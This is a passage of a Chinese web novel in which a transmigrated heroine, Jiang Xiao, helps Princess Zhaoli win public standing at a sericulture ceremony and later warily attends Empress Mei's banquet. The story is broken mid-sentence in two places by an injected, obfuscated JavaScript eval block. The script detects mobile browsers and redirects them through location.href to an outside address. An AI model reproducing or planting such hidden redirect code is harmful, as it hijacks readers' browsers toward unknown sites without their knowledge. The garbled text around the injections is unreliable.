这几日,姜婋闭门不出,挑灯熬油,潜心研读史料,为昭离制定了一整套“大昭母君培养计划”,还抽空撰写她与公主的戏文。 她边写边涕泪纵横:“我怎么到了古代还得看论文、写话本、做科研啊!这死了和活着也没什么区别嘛……” 忽有宫人来传,昭离召她入宫。 姜婋揉了揉眉心,洗漱收拾后匆匆进宫。 因连日熬夜,她眼底泛着青色,步履间略显疲惫。 甫一入殿,昭离便将她打量一番,担忧问道: “你这是怎么了?若驿站住得不适,便来我这里歇息吧。” 姜婋摆摆手:“无妨,不过是近日写戏文废寝忘食罢了。”说着,赶紧递上新鲜出炉的戏本。 昭离接过,见封面赫然写着《昭离传》三个大字,微微错愕:“怎么用我的名字,这样……妥当吗?” 姜婋道:“既要让世人铭记你的名字,传唱四方,用你的名号最为直白。那些‘闺门不出,闺名不显’的陈规陋习,就不必在意了。正因女子之名不得记载,才使得诸多才女纵然著书立传,诗文绝妙,还是不得不借兄弟之名发表,甚至忍痛焚稿,自此消失于历史之中。女子的名字,又不是禁忌符咒,何必讳莫如深,藏着掖着?” 闻言,昭离点头:“好,就叫这个名字。” 但她不好意思当面翻阅,便道:“我夜里再看。” 收好戏本,昭离语气一转:“今日唤你前来,乃是有要事相商。暮春将至,我们大昭即将举行先蚕礼……” 听闻此言,姜婋恍惚记起,昭离尚在西陲之时,小说里曾提过兴都发生过一桩可怖惨案…… 莫非,正与这先蚕礼有关? 昭离见她皱眉思索,便解释道:“这是为了祭祀蚕神嫘祖,祈愿蚕丝丰收之礼。” “这个我知道!” 姜婋心想,我最近刚看完历史资料,想当年武则天便是亲祭先蚕,一步步稳固公众影响力。 她便侃侃而谈道:“先蚕礼嘛,每年由皇后主持,意在祭蚕神、兴农桑,鼓励天下妇人善尽她们最重要的经济责任——养蚕织布。此礼与皇帝主持的藉田礼相对应,正是‘男耕女织’之分工。” 昭离颔首:“此礼乃是难得的女子盛典,届时,父皇后宫嫔妃、朝中命妇,民间妇女皆共襄盛举。我身为公主,自然亦当出席。但我又担心媚皇后会有异动,万一又突然当众赐婚,我可真招架不住了,所以找你来商量。” “当然要去!” 姜婋分析道:“这先蚕礼可是你回兴都之后,第一次在百姓面前露脸的大好时机。你更该借此机会让天下人知晓,你不仅是宫闱中的公主,更是大昭的功臣,甚至是未来的领袖!” 昭离点头:“你说的有道理,我不能因为担心变故,就错失这一举国瞩目的现身机会。” 姜婋微一犹豫:“只是,这大典上恐怕不会风平浪静……” 昭离眉头紧蹙:“会发生何事?” “这个嘛……” 姜婋摸了摸下巴:“尚需探查。不过既然你要出席大典,那我可得好好谋划,如何让你惊艳四座了。” 昭离嗔她一眼:“至于吗?太过张扬,恐怕也不太好吧……” 姜婋轻笑:“怕什么?你还记得吗,你带宰牙头颅回京之时,多少人视你为母夜叉。若要颠覆世人之见,自该让他们亲眼瞧瞧,你昭离公主不仅能令敌寇胆寒,亦可令万民敬仰。” 昭离嗤笑,抬手轻刮她鼻尖:“你前些时日还说,让世人恐惧亦是无妨,如今又要扭转风评?” 姜婋挑眉,笑得颇有深意:“恐惧非长久之道。若想成为母君,要令天下人心悦诚服,而非只是俯首称臣。况且,‘母夜叉’的戏码也该落幕了……” 这时,系统的声音响起:“玩家,你已开启新主线——「天蚕礼」。” 45.20 转眼之间,先蚕大典如期而至。 这日春和景明,大昭特开皇家园林,举国共襄盛典。 虽名曰“先蚕礼”,却更似一场天下女子的庆典。为祭祀“嫘祖娘娘”,女子们都会穿着蚕丝织出的锦缎出席,贵女们身披罗裳,民间妇人哪怕无丝绸华服,也会在腕上系一方锦帕。 此刻,女子们并非为取悦旁人,而是为取悦自己。 园林中,形形色色的女子齐聚,母女携手,姑嫂结伴,织女商贾,甚至连青灯古佛下的尼姑道姑,也不愿错过此番盛事。女子的欢声笑语交织,空气中浮动着脂粉香、花卉香、熏香,皆是女子的味道。 人群中,一个卖蜜饯的小女孩和母亲一起穿梭叫卖,这也是她们赚钱的好机会。一大筐点心蜜饯,顷刻间就卖光了,母女俩便找个偏僻的角落休息。 母亲席地而坐,为女儿缝补刚刚刮破的裙摆。 小女孩扎着双髻,这是她第一次参加先蚕礼,虽穿着粗布衣衫,但兴奋极了。她踮脚张望,只见皇家园林正中央是主祭台,台下就是织女方阵,各地技艺高超的绣娘在此展露织工。 金梭彩线穿行之间,小女孩看得出神,目光落在织女粗糙的指尖,那里布满老茧。 她回眸看自己的母亲,母亲的手亦是如此,剥果核、蒸蜜糕,手上都是烫伤划伤的旧痕。 忽然,一声鼓乐,仪式准备开始了。 小女孩闻声望去,只见皇后领着众嫔妃、公主们,缓步走上后方高台。 一时间全场骚动,民众欢呼,摇晃着手里的丝绸锦帕。随着动作起伏,女子们美丽的衣衫仿若潋滟的湖光,又好似流光的彩霞。 媚皇后一袭朱红华裳,与眉间那抹朱砂,遥相辉映。 与她一道走来的,还有身着明黄朝服的皇帝赵柟。 人群顿时窃窃私语: “往年圣上不曾亲临先蚕礼,今日怎会破例?” “你们不知道吗?今年昭离公主亲手斩杀宰牙,令异族俯首称臣,周边诸国纷纷遣使朝贡,圣上为示国威,特意前来参加天蚕礼。” “我说台上怎么有些高鼻深目的异族女子,原来是外国使臣的家眷啊。” “那昭离公主她可来了?” “你们快看!就是她——” 众人闻声看去,只见高台上,最后入场的昭离身穿月白色的素纱羽裙缓步走来。 这是姜婋特意为她设计的,灵感来源于《大明宫词》中太平公主那套羽衣。这衣服的材料正是大昭盛产的素纱,绣的是水波纹,既表明公主曾是民间渔女,又迎合了先蚕礼的主题。 * “那就是昭离公主?” “哪里是传闻中的獠牙夜叉,分明是谪仙下凡!” “她手刃宰牙,收复银州,实乃我们大昭英雌!” 闻言,那个卖糕点的小女孩踮起脚,满眼好奇地望着这位传说中的奇女子。 高台上,昭离的登场亦是引起一众皇宫女眷的惊叹,这令她有些不自在,姜婋站在昭离身后,轻拍她的肩头,给她安慰和鼓励。 这时,钟鼓齐鸣,祭蚕大典正式开始。 高台之上,张天师身披法袍,手持祝册,声如洪钟,朗诵祭文: “大昭之国,仰承天命,敬奉嫘祖,恩泽绵长。今逢春和景明,蚕月新启,谨行先蚕大典,敬祷蚕神垂佑……” 祷词声起,媚皇后缓步登坛,亲自将金蚕置于供台之上,点燃香炉,檀烟袅袅,象征着纺织女子的辛劳化作虔诚祈愿,飞向九霄。 “敬拜嫘祖,缫丝开化,教民织绮,衣被天下……” 焚香完毕,女官引着宫中女眷与命妇依序上前,捧出数笼蚕蝶,缓缓放生。蚕蝶振翅,翩然飞舞,寓意国运如蚕蜕变,千秋万业。 “愿蚕茧丰盈,丝帛盈仓;愿百工兴盛,四海安定。” 姜婋和昭离一同放生蚕蝶,不知是不是因为昭离衣上装饰着羽毛,蚕蝶竟不愿远去,环绕她袖间盘旋良久。 众人惊叹:“这莫不是嫘祖显灵!” 昭离莞尔一笑,旋身而动,衣袂翻飞,蚕蝶方才随风飞散。 但姜婋却眉头紧锁,察觉到蚕蝶似乎有恙。 这几日,她为了搞清楚原著中提到的兴都惨案,每日和系统回溯原文。但因当时主角们都在西陲,这段故事情节是支线,仅被一笔带过。 姜婋通过字里行间的暗示,以及回兴都时沿途的观察,推导出一种可能性……只是还未确定。 见状,她赶忙在脑海中呼叫系统: “这蚕蝶围着昭离,恐怕有什么异常,你快帮我查查这是什么情况?” 系统:“玩家,你还真把本系统当百科全书了。” 姜婋生硬地撒娇:“你不是爱女系统吗?怎么,你不爱我啦!” 系统无奈:“爱爱爱……正在为玩家搜索相关信息……” 姜婋得意一笑,但听见系统的回答后,忽而笑容消失,随即附在昭离耳畔轻声低语。 * 这边厢,祭词告毕。 典礼来到天蚕礼的重头戏,由织女合力织就一匹绣有“国运昌盛”四字的锦缎,以祈愿大昭繁荣昌隆。 此锦缎所用蚕丝,皆由各地精挑细选,运往兴都,这些织女们也是全国各地最出色的绣娘。 在织女们的巧手之下,金线交错飞舞,逐渐编织成型,日光洒落,更显皇室尊贵之气。 赵柟、媚皇后端坐高台之上,微笑颔首,百官、使臣亦交口称赞。 昭离与姜婋坐于一侧,看着放生的一只蚕蝶还盘旋在昭离肩头。 姜婋突然叹道:“你说,身为蚕,是破茧成蝶更好,还是被煮茧缫丝,更好?” 昭离闻言,拂袖轻挥,方才停驻的蚕蝶随风飞去。 她感慨道:“每一种命运都有意义,正如你当时问我,是回湖州做个渔家女,还是回宫里做公主……” 姜婋问:“那你更喜欢哪一种人生?” “我……” 昭离犹豫之际,忽闻祭台之下,一阵惊呼骤然炸开! 随着“嘶啦”一声脆响,即将完工的锦缎正中央竟然裂开一道触目惊心的裂痕! * 顷刻间,四下死寂无声。 织女们脸色煞白,跪伏在地,瑟瑟发抖道:“皇上饶命!” 人群中有人惊呼:“天降异象,莫非是国运不昌?” 闻言,一向信奉天象的皇帝眉头紧皱。 媚皇后心中一凛,这是圣上动怒的表现。先蚕礼由媚皇后主持,她在心中忖度,需得赶紧撇清关系才好。 她随即厉声喝问:“今年负责选拔织女之人,何在?” 一官员战战兢兢跪地道:“微臣……微臣该死!” 群臣登时交头接耳,面露不安。 先蚕礼虽是皇后主持,但由礼部、户部、工部联合举行,若是细查,负责之人定牵连无数。 再加之,织女们由各地官员选送,要是查下去,必定又牵扯地方,事态只会愈发复杂。 姜婋恍然明白——那桩可怖的惨案,正是这先蚕礼。 锦缎撕裂,天象不祥,导致无数人牵连其中,最终酿成大案。 看来自己猜得没错…… 这时,昭离看向姜婋,手指抚向衣袖中所藏之物:“你之前说要调查,还命我准备这个……原来是担心此番变故?” 姜婋声音微沉:“公主,这些人与你当年一样,皆因‘天象不祥’之说,恐怕会性命难保。能不能护住她们的性命,就全靠你了。” 昭离握紧衣袖,目光掠过跪地战栗的织女,神色大骇的官员,惊恐不已的百姓,以及面露愠色的皇帝和皇后…… 一股难以言说的情绪涌上了她的心头,有恐惧、不安、愤怒,更多的是一种命运无法自主的感同身受。 昭离深吸一口气,上前一步,高声道: “诸位,此事并非天意,而是人为!” * 此言一出,群臣震动,百姓哗然。 高台之上,媚皇后眸光微变,警惕地望向了她。 赵柟捻须问道:“昭离,你说这是人为,此言何意?究竟是何人如此大胆?” 昭离缓步而出,行礼道:“还请父皇准许,臣女亲自查验。” 赵柟挥了挥衣袖,示意准了。 昭离弯腰拾起锦缎,用指尖摩挲断裂的边沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884385|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神逐渐笃定。 她起身道:“回父皇,这批蚕丝乃各州府精挑细选的优蚕,或水路船运,或快马加鞭,运送至兴都。途中翻山越岭,而蚕最忌湿气,若在结茧之前又受惊扰颠簸,便会影响蚕丝的韧性。因先蚕礼不可推迟,织女们为赶工期,又不得不用这批蚕丝,方才导致锦缎断裂。这并非天谴,而是人为失察。但所涉及的官员、织女、她们也并非有意为之。” 昭离顿了顿,唇角微扬:“若父皇非要怪罪,恐怕就要怪这蚕了!” 赵柟闻言,略微一怔,随即笑道:“好一个怪蚕!昭离,你又是如何发现的?” “父皇,方才放生蚕蝶之时,有不少蚕蝶围绕在我的衣裙周围,诸位皆以为是祥瑞降临,然而事实上——” 昭离解释道:“这些蚕蝶身形虚弱,飞行吃力,因此想寻找近处之物停留,而蚕蛾趋白,放眼全场唯我一身白衣。如此想来,连破茧的蚕蝶都如此羸弱,那又怎能指望这批蚕丝坚韧呢?” 赵柟若有所思地点了点头,众人恍然大悟。 昭离环顾四周,声音铿锵道:“国运昌盛,岂能因一匹锦缎断裂便受动摇?真正决定国运的,是我大昭百姓的勤劳与智慧,更是天下女子的双手!” 她说着,从袖中取出一卷银白色的鱼线,在众人错愕的目光下,亲手将断裂的丝绸一针一线缝合。她手法熟练,针脚细密,堪比缝补渔网的老练渔女。 “这世间可织布者,何止蚕丝?” 昭离目光扫过在场的众女子:“渔女织网,医者缝伤,三姑六婆、牙人商贾,各行各业的女子,皆以双手支撑着大昭的根基。” 台下女子屏息聆听,无不心潮澎湃。 昭离目光微转,直视在场女子:“可有人愿与我一同修补?” 话音未落,姜婋已然跨步而出:“我来!” * 起初,众女子皆有迟疑,这毕竟是抛头露面的大事。 人群中,有个带着针线包的年轻女子满脸踌躇,身侧的一位老妇着急道:“小姑娘,你这针线包不用借我,我老婆子舍得下老脸,我缝得快!” 说罢,便拿过针线,冲了出去。 那年轻女子见此,一咬牙也跑去帮忙:“我也来,我的女红可远近闻名!” 就连那个卖蜜饯的小女孩,也拉着母亲的衣袖,奶声奶气道:“阿娘,我也要去帮忙。”她母亲无奈苦笑,索性与女儿一起上前。 渐渐的,女子们彼此对视,仿佛从对方眼中得到了勇气,纷纷跨出一步,投入其中。 有医者以羊肠线缝合,有女工用藤条编织,甚至还有人用发丝缝补…… 白皙的、苍老的、灵巧的、粗砺的……无数双女子的手交错在一起,共同修补这面锦缎。 半晌,昭离与一众女子将缝补完的锦缎高高举起,阳光透过薄锦,映照出银白的鱼线、棕黄的羊肠线、黑色的发丝、绯色的棉线……千丝万缕交错,如同千千万万女子的心血交融汇聚。 昭离朗声道:“这匹锦缎上,不仅承载着纺织女的巧思,也融入了天下女子的功绩。今日并非天降大祸,而是嫘祖娘娘显灵,让大昭女子之力,得以昭然于天下!” 此言一出,寂静无声。 随即,织女们红着眼眶,纷纷叩首道:“多谢公主。” 紧接着,千百女子齐声高呼:“多谢昭离公主!” 这声音汇聚成海浪,回荡在高台之上。 群臣神色各异,外邦使臣惊叹议论,皇帝捋须点头,而媚皇后则眯起双眸,眼底浮现一抹警惕之色。 人群中,那个小女孩拽着母亲衣角,满眼憧憬:“阿娘,我也想成为像公主姊姊那样的女子!” 闻言,姜婋眸中闪烁笑意,心道:“不愧是我的公主。” * 这时,昭离和姜婋的目光越过人群,遥遥对视,在彼此眼神中读懂—— 从今往后,昭离不只是一个公主,而是一个能扭转局势、凝聚人心的领导者,更是天下女子的榜样。 她的声音不再局限于宫闱,而是如春蚕吐丝般,编织起一张属于她自己的权力之网。 这场先蚕礼,让她离母君之位更近一步。 46.21 先蚕大典之后,姜婋神采飞扬,眉目间皆是得意之色。 她只觉首战告捷,一切尽在掌握。昭离与她回到朝华宫,吩咐宫人退下后,便亲自关上殿门。 昭离回过身,谨慎问道:“你早言今日大典恐有波澜,如今果然不虚。可我始终不解,你又是如何猜到的?莫非也是那癞头和尚和跛脚道士为你指点的?” 姜婋失笑摇头:“这回当然不是。” 她心中暗忖,昭离果然是玲珑心窍,聪明至斯。不过她的怀疑也在姜婋的计划之中。 自从有了“金钗一刺”的前车之鉴,姜婋即便知道原小说的剧情走势,也会推演分析,怕的就是昭离日后起疑。 姜婋道:“昭离,你可还记得,那时我们坐船回兴都,曾听船家言及江南连绵大水,蚕桑多毁,茧子十不存一。先蚕礼的蚕茧虽是精挑细选,但质量肯定不如往年。那时起,我便开始留心在意……” “再加上,放飞蚕蝶之时,我看出蚕蝶盘旋无力,顺着这一线索推想下去。锦缎断裂,也在意料之中。” 昭离微怔:“原来如此,一枚小小的蚕茧,竟可牵动许多人的命运……” 姜婋沉声:“因这命运,尽数系于一人之手。权力之巅的天子,无人监督,便为所欲为。今日就算锦缎未裂,那织文稍有歪斜,织线略显稀疏,只要他心生不悦,就可迁怒众人。所谓天象,也不过是皇帝的借口罢了,他不开心的时候,天象是他杀人泄愤的工具,他开心了,那这天象便是他标榜功绩的筹码。” 这些话在昭离听来,实在刺耳。 她轻声辩解道:“父皇他,也并未责罚众人。” “那是因为你出面扭转危局,若你不在,那些织女和牵扯的官员恐怕必死无疑!” 姜婋咽下后半句,就像原著小说里那般…… 昭离思忖,她知道婋婋说得没错,毕竟她自己就是一个例子。 她出生之时,因星象不祥,便被父皇下旨判死。 但,父皇后来对自己也很好…… 昭离在「三从法则」的影响之下,还是下意识选择维护父皇。 “今日父皇听了我的解释,也没有惩罚任何人,说明他还是一个听劝的皇帝。” “昭离,你对皇帝的要求未免太低了吧?” 姜婋神情忽然严肃:“无数人的生死,只在你父皇一念之间,而你却仅仅要求他是一个‘听劝’的人?这就是你对一国之君的要求和评价?那我们日日研读的母君培养计划,又算什么?一纸空谈吗?” 昭离语塞,脸颊倏地因羞愧而泛红。 她意识到,方才为父皇的辩护,不过是掺杂了太多私情的自我安慰。 姜婋见她神色动摇,缓了缓语气:“你想想,我们从西陲到兴都,一路经历了多少艰难险阻?难道我们的目标,就是让你成为另一个赵柟吗?” “我希望你成为母君,并不只是让你得到权利,而是愿你得到权利之后,能去改变这个对女子不公的世道!” 昭离嘴唇紧抿,无力辩解。 姜婋叹了口气:“我今日问你,是想做公主,还是打鱼姑?现在我明白了,其实这两者并无区别。” 昭离一怔:“怎么会没有区别?” “难道不是吗?若天子让百姓如履薄冰,那无论是做打渔姑、牧羊女,还是公主……都是一样的。” 姜婋说着苦笑:“公主又如何?还不是要和亲献祭,终究逃不过‘工具’二字。” 她说着,轻轻扶住昭离的肩:“可若一国的领导者以民为重,那这世间女子,无论是打鱼姑、织女、三姑六婆……她们皆可无惧命数,自在而活!昭离,这才是我希望你成为母君的原因。” 昭离脑中又浮现出先蚕礼上那一幕:织女跪地哀求,官员瑟瑟发抖,百姓惶惶不安……这不正是令人如履薄冰的世道吗? 她垂下头:“我只是担心,我做不到……” 姜婋道:“可你今天,不就已经做到了吗?而且做得很好。” 昭离闻言,还是有些不相信自己。 姜婋反问:“昭离,如果你都觉得自己做不到。那你说,还有谁能做到?你父皇?你六弟?媚皇后?还是谁?” 昭离霎时恍然大悟—— 这个世界上,如果她不去做,就再也没有人会去做了。 她一出生就因天象被判不祥,自幼颠沛流离;在湖州与干娘辛苦劳作,却被骗得分文不剩;她一朝荣华尊宠,又转瞬间被推入龙潭虎穴;她曾绝望赴死,也承受过尊严被践踏的屈辱…… 她的经历,不只是她一人的命数,而是大昭千万女子命运的缩影。 若她能成为母君,不仅仅是为自己,更是为天下女子,重塑乾坤。 这一刻,姜婋方才的那番话,如滚烫热油,猛地浇在她心中那团火苗之上,烈焰腾起,火苗渐成烈火。 要改变这个对女子不公的世界,不能寄望于任何人,只能靠我自己! 昭离想明白后,握住姜婋的手:“我刚才是不是让你失望了?” 姜婋望着她,眸光微动:“没有。你在今日先蚕礼上,已经做得很好。可我想告诉你的是,每一次你为你父皇辩解,其实都是在为这个男尊女卑的吃人制度添砖加瓦。” 她回握昭离的手:“你若真要成为母君,终有一日,你必须在精神上彻底独立。不再做对你父皇盲从的雏鸟,而要成为那只敢于振翅破云、挑战规则的雌鹰!” 昭离的眼中闪过一丝挣扎,但随即又如利刃出鞘,逐渐坚定。 * 就在这时,殿外传来宫人禀报声:“公主陛下,皇后娘娘遣人送来请柬。” 两人对视一眼,心中起疑。 昭离从宫人手中取过金丝红柬,匆匆扫过,说道:“媚皇后的女儿,昭宜公主生辰将至,她设家宴邀我过去。” 姜婋蹙眉思索,这段情节小说中并无记载,毕竟那时昭离还在西陲,兴都的情节作者不过寥寥几笔略过。 但偏偏这个时机,媚皇后设宴相邀,总觉得事有蹊跷呢? 她问道:“昭仪公主多大了?” “八岁了……” 昭离目光微动:“我十岁那年,生母因谗言自尽,家族覆灭。干娘带我远走湖州,昭宜却能有母亲张罗生辰,真是幸福……” “媚皇后应当很疼她吧?” “是啊,父皇也宠爱她。昭宜公主降生后,父皇还特意为媚皇后赐姓,将眉字加了个‘女’字,以表其功。所以眉皇后才变成了媚皇后。” 姜婋冷笑一声:“这赏赐,倒像是隐约的警告,既生一女,便止步于此。” 昭离蹙眉:“确实,媚皇后从此未有身孕,倒是抱来了六皇子赵祐。” 姜婋问道:“这生辰宴,你去吗?” “当然。” 昭离看出姜婋神色忧虑,问道:“怎么了,你担心什么?” 姜婋摇摇头:“没什么,只是这个时机有些奇怪……” * 午后,姜婋回到了官署驿站。 她甫一入院,便瞧见顾云铮独坐院中,神情痴然,目不转睛地盯着一只落在花叶上的蚕蝶,恍若魂魄都被那蝶儿勾去了。 她调侃道:“哥,你怎么回了兴都,性情大变,不爱练武,倒是爱赏花看蝶了?” 顾云铮叹气,眼神仍未离开那蝶:“我在后悔……兴许,当初不该拒了那道赐婚的圣旨。” 姜婋惊得差点跌了一跤,连忙走上前道:“哥,你清醒些!你要是跟公主结婚了,那苍狼军怎么办?难不成你甘愿做那挂名的驸马,拿兵权当聘礼,彻底做个富贵闲人吗?” 顾云铮并不回答,转言道:“今日,我也去了先蚕礼。” 姜婋奇怪:“这是女子的聚会,你怎么去了?” “我也不知……” 顾云铮眸中闪出星星:“大约是想再见公主一面,哪怕匆匆一瞥。没想到,却见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893359|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她挺身而出,救织女于水火。那一刻,我竟觉得兵权、军职、威名,都不值一提。我宁可做她肩头的那只蚕蝶,或她膝前的一只羔羊,也甘之如饴。” 姜婋登时警铃大作,我的天呐,太肉麻了! 不过,黄花菜都凉了,你现在已经不是男主了…… 姜婋劝道:“哥,你这后悔也来不及了。当初你是亲口拒婚,总不能出尔反尔吧?再说了,你心悦公主,公主可不一定心悦你啊。如今她胸怀苍生,一心要搞事业。你若把她困在深闺,她这事业如何搞得起来?” 顾云铮深情款款道:“若能助她一臂之力,哪怕只是守在她身旁,仅为布衣之士,我也心甘情愿。筱筱,你与她亲近,能否教教我,如何让她多看我一眼?” 姜婋面露复杂:“你这也太卑微了吧?” 她突然想起,在原书中,顾云铮能追到公主,还真是靠她这个牵线搭桥的“工具人”。 顾云铮就是一个久在军营,没和女性接触过的男子,就算送公主礼物都要送铁蒺藜、马鞍子…… 俩人的情感递进,全靠顾云筱拉郎配! 这么算的话,顾云铮写的每一封情书,送的每一件礼物,说的每一句情话,不都是顾云筱的智慧和心意吗? 那公主应该喜欢的是顾云筱才对啊! 这剧情咋这么熟悉呢? 不就是另一个版本的《怜香伴》嘛??? * 姜婋摸着下巴思忖,果然没自己这个工具人帮忙,顾云铮现在连男主角都不是了,但看他可怜兮兮的样子…… “哥,我给你个忠告吧。” 姜婋捏着鼻子道:“咱们既然回了兴都,水也够用,你能不能每天洗澡啊?你这身上的味儿,实在刺鼻……” 顾云铮皱眉:“男子汉大丈夫,何须香粉脂气?弄得香喷喷的,岂不被人耻笑?这味道才是男人的味道!” “放弃你那有毒的男子气概吧!你这不是男人味,是臭味!” 姜婋瞪眼道:“所谓的男人味,是不以‘保护者’自居,将女性视为柔弱的附属品,而是承认她们的独立人格;是敢于自省,懂得反思自己的特权,不害怕承认错误,也不畏惧学习和进步。” “你若真心喜欢公主,就得把她当活生生的人,不是神女也不是娇花,是个有抱负、有野心的女子。直面自己的情感,真心表达,就算被拒绝,也坦然接受。但在此之前——你还是先洗个澡吧。” 顾云铮低头扯了扯衣襟,嗅了嗅,神色微变:“……你说得有理。” 姜婋眼神一瞥,发现他手里竟拿着和公主一样的请柬。 “哥,你手里的是……” “这是宫里送来的帖子,邀我们兄妹二人,去媚皇后女儿的生辰宴。” 姜婋接过一看,顿觉蹊跷:“请我们两个?我陪公主尚算合理,你一个外男,去凑什么热闹?” 顾云铮微怔:“你这么一说,好像的确有点不妥。” * 回到房间里,姜婋忙在脑中呼叫系统。 “系统,我记得原小说中有一段情节是,昭离与顾云铮返回兴都后,媚皇后见到杀死宰牙的顾云铮,也被他的「男主光环」迷得不轻。于是设宴给昭离下春药,以此抹黑她的清誉!” 系统:“确有此事。原情节中,因顾云铮及时发现,昭离才躲过一劫。” 姜婋暗自腹诽:“那这顿家宴,八成就是鸿门宴了……可如今顾云铮都不是男主角了,我以为这情节也会自然消失,难道媚皇后还要故技重施? 系统:“玩家,原小说中的这段情节,是为了‘争男主’,而如今这段情节再现,恐怕是为了‘争权力’。” “你是说,今日公主在先蚕礼上锋芒太盛,让媚皇后警惕,唯恐公主日后威望更胜,想抹黑她趁机夺走她的权力? 系统:“极有可能。” 姜婋一凛:“她若设局,我便拆招,反正我也早有准备……” 47.22 昭宜公主生辰宴当日,御花园绣灯高悬,灯火如昼。 昭离端坐一隅,身着素色华服,发上簪着那只鹿角簪,姜婋伴在她身侧。 宴席分男女宾列,内外相隔一道漆金雕花屏风。 屏风另一侧,顾云铮与几位皇子、宗亲把盏言欢。 * 御花园的戏台上,鼓瑟箜篌,上演的正是《昭离记》中杀宰牙那一折: 扮演公主的青衣一身红色嫁衣,面色决绝,唱腔清亮: “酒未干,心已寒,虎狼怎可配凤凰?” 另一小旦扮作姜婋,白袍银甲,目如寒星,唱道: “夜沉沉,风猎猎,盼她一击斩虎狼!” 忽而锣鼓震天,戏中公主拔下发簪,凛然高唱: “鹿角簪、鸩酒花,刺狼心、血染纱! 一刺破你狼心肠, 二刺斩你旧国王; 三刺祭我亡魂将, 四刺还我银州疆!” * 姜婋小旦应声而上,拔剑横空,唱道: “血洒红罗非新妆, 一声惊雷照夜堂; 谁唤乾坤重开局? 昭离二字照四方!” * 锣声一停,众人拍掌喝彩。 姜婋看得津津有味:“怎么样,我这戏写得不错吧?已叫人在樊楼连日上演了。” 昭离眼眸微动:“看到这场戏,不由又忆起那夜的惊险,多亏你送我的鹿角簪……”说着轻握姜婋的手。 忽听一声奶音打断了她们——“昭离皇姐姐!” 说话的正是今日的寿星小公主昭宜,她面如玉盘,穿着织金的小华服,蹦蹦跳跳地跑来。 “皇姐,你可回来了,我好想你呀。” 昭离俯身抚她面颊,柔声笑道:“许久未见,昭宜长高了。” 昭宜眼睛发亮:“那日先蚕礼,我就看见姐姐来着,可是嬷嬷不许我跑过去找你玩。” 昭离看着她稚气未脱的模样,不由想起自己年幼之时,眼中露出怜惜之色:“以后你可以随时来找姐姐玩。” 昭宜欢呼:“太好啦!我也要学姐姐杀宰牙,好威风!姐姐你爱吃水晶肘子吗?御膳房做的可好吃啦!” 笑语之间,媚皇后携众宫女而来,她一身绛色华服,胸前绣着彩凤,灯火映照之下,那凤凰仿若振羽欲飞。 她语气温婉,笑道:“昭宜,你当昭离公主是你呢,就爱吃肉。快瞧瞧你!都胖成小球啦!” 众人闻言轻笑。 昭离行礼道:“皇后说笑了,小公主爱吃肉是好事,瞧她多健壮呀。” 媚皇后莞尔:“这戏着实精彩,公主不会怪罪本宫的安排吧?” “怎么会,一出戏而已,我也是头一次看,觉得新鲜。” 媚皇后解释道:“我叫人去查如今兴都最热的戏,便是这《昭离记》。往年才子佳人唱得腻了,今番换个女主斩王收疆,倒也别开生面。昭宜可是爱看极了。” 说罢,她执杯笑道:“那日先蚕礼,多亏公主解围。本宫今夜以此酒致谢。” 昭离和姜婋对视一眼,起身微揖:“回皇后娘娘,先皇后忌辰将近,臣女按礼当避宴饮。然昭宜年幼,我身为皇姐,理应前来贺寿。但唯有此酒……臣女心怀哀思,恐负了生养之恩,还请娘娘恕罪。” 媚皇后视线微凝,见昭离素衣淡钗,忆起先蚕礼时亦如此,笑意渐冷:“你这孩子,倒是个孝顺念旧的。” 昭离不卑不亢道:“念旧,方知根本所在。皇后娘娘不也是如此?” 这借口原是媚皇后用以推诿操办公主封赏之事,如今却被昭离反将一军。 媚皇后只得转身去别桌敬酒,临走时又道:“那本宫稍后以茶代酒,再来敬公主。” 她转过身,眼神一凛,朝宫人道:“去,帮我拿壶茶来!” * 见皇后走远,昭离松了口气:“果然如你所言,皇后来者不善。若要谢先蚕礼那次,倒也不必如此盛情。” 姜婋愈发谨慎:“一会儿别说酒,要是有汤、茶,你也别入口。饭菜,见别人吃了你再动筷。” 昭离奇怪:“今夜宾客众多,皇后应该不敢轻易下毒,你到底在担心什么?” 赴宴之前,姜婋只是提醒昭离注意皇后,但并没有说明是春药之事,毕竟此事关系重大,若媚皇后没有下药,那她就说不清楚了。 姜婋正想找个理由搪塞之时,远处忽闻太监唱喏:“皇上驾到!” 昭离起身行礼,众人山呼万岁,宴会气氛一时肃然。 只见皇帝赵柟身披玄青道袍,头戴羽冠,气色较之前虽有好转,但唇边微紫,仍见金石之毒未清。 他弯腰抱起昭宜,似乎有些吃力,笑道:“朕的小公主又长了一岁。” 昭宜咯咯一笑,伸手玩弄皇帝的胡须,引得满座莞尔。 媚皇后行礼道:“多谢圣上给昭宜的赏赐,本宫已替她收下了。” 她正欲举杯劝酒,皇帝却摆手道:“张天师方才奏言,今夜紫气东来,天降祥瑞,似为昭宜公主而现。朕须即刻前往仙台焚香祭天,这酒就罢了。” 媚皇后笑容一凝,语带挽留:“圣上才来,便要走了吗?” 皇帝捋须道:“天象难得,不可违抗。” 说罢,便放下昭宜,袖袍一拂,摆驾离开。 * 宴席这边,姜婋低语:“皇上虽言祈福,然连半盏酒的功夫都未留……这就是皇帝的宠爱吗?我看他更爱天象吧。” 昭离不言,却忽地感同身受。 若是自己生辰宴上父皇也是这般来去匆匆…… 